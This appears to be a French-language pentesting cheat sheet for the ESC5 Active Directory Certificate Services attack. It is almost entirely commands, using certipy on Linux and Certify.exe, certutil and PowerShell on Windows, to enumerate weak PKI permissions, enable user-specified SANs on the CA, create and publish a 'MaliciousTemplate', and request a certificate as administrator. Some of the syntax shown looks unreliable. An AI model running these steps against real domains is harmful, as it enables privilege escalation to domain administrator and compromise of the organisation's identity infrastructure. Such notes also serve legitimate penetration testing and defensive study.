### Description
ESC5 exploite des permissions trop permissives sur les objets de l'infrastructure PKI (Certificate Authority, Certificate Templates container, ou autres objets critiques), permettant à un utilisateur de modifier la configuration de l'autorité de certification ou de créer de nouveaux modèles vulnérables.
### Conditions vulnérables
ESC5 se produit quand un utilisateur a des permissions dangereuses sur :
1. **L'objet Certificate Authority** - Droits `WriteProperty`, `WriteOwner`, `WriteDacl`, ou `FullControl` sur la CA
2. **Le container Certificate Templates** - Permissions permettant de créer/modifier des templates
3. **L'objet Configuration PKI** - Contrôle sur la configuration générale de la PKI
4. **Objets NTAuthCertificates** - Permissions sur les certificats de confiance pour l'authentification
---
### Exploitation depuis linux (certipy)
Enumération des objets PKI vulnérables :
```bash
certipy find -u
[email protected] -p password -target dc01.domain.local
# Énumération avec sortie JSON pour analyse détaillée des permissions PKI
certipy find -u
[email protected] -p password -target dc01.domain.local -json -output pki_permissions.json
# Recherche spécifique des permissions sur les objets PKI
certipy find -u
[email protected] -p password -target dc01.domain.local -vulnerable | grep -A15 "Certificate Authorities\|PKI Objects"
```
Modification des permissions de la CA :
```bash
# Ajout de permissions sur la CA pour permettre l'approbation de demandes
certipy ca -u
[email protected] -p password -target dc01.domain.local -ca 'domain-DC01-CA' -enable-user-specified-san
# Modification des paramètres de la CA
certipy ca -u
[email protected] -p password -target dc01.domain.local -ca 'domain-DC01-CA' -disable-request-approval
```
Création d'un nouveau template vulnérable :
```bash
# Création d'un template ESC1 personnalisé
certipy template -u
[email protected] -p password -target dc01.domain.local -template 'MaliciousTemplate' -create -enable-enrollee-supplies-subject -client-auth
# Publication du template sur la CA
certipy ca -u
[email protected] -p password -target dc01.domain.local -ca 'domain-DC01-CA' -add-template 'MaliciousTemplate'
```
Exploitation du template créé :
```bash
# Demande d'un certificat administrateur avec le nouveau template
certipy req -u
[email protected] -p password -target dc01.domain.local -ca 'domain-DC01-CA' -template 'MaliciousTemplate' -upn
[email protected]
```
---
### Exploitation depuis windows (certify.exe + PowerShell)
Enumération des objets PKI vulnérables :
```powershell
# Énumération des modèles et objets PKI vulnérables
Certify.exe find /vulnerable
# Recherche spécifique des permissions sur les objets PKI
Certify.exe find /vulnerable | findstr "Certificate Authorities\|PKI Objects"
# Vérification manuelle des permissions sur la CA
Get-ADObject -Filter {objectClass -eq "certificationAuthority"} -Properties * | ForEach-Object {
Get-Acl -Path "AD:$($_.DistinguishedName)"
}
```
Modification des paramètres de la CA via PowerShell :
```powershell
# Modification des paramètres de la CA (nécessite des permissions appropriées)
certutil -setreg CA\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2
# Redémarrage du service de la CA pour appliquer les changements
Restart-Service CertSvc
```
Création d'un template malveillant :
```powershell
# Création d'un nouveau template via duplication
$sourceTemplate = Get-ADObject -Filter {cn -eq "User"} -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local" -Properties *
# Création du template malveillant
$newTemplate = $sourceTemplate.Clone()
$newTemplate.Name = "MaliciousTemplate"
$newTemplate."msPKI-Certificate-Name-Flag" = 1 # ENROLLEE_SUPPLIES_SUBJECT
New-ADObject -Type pKICertificateTemplate -Name "MaliciousTemplate" -Path "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local" -OtherAttributes $newTemplate.Attributes
# Publication du template sur la CA
certutil -SetCATemplates +MaliciousTemplate
```
Exploitation du template créé :
```powershell
# Demande de certificat avec le template malveillant
Certify.exe request /ca:DC01.domain.local\domain-DC01-CA /template:MaliciousTemplate /subject:"CN=administrator,CN=Users,DC=domain,DC=local"
```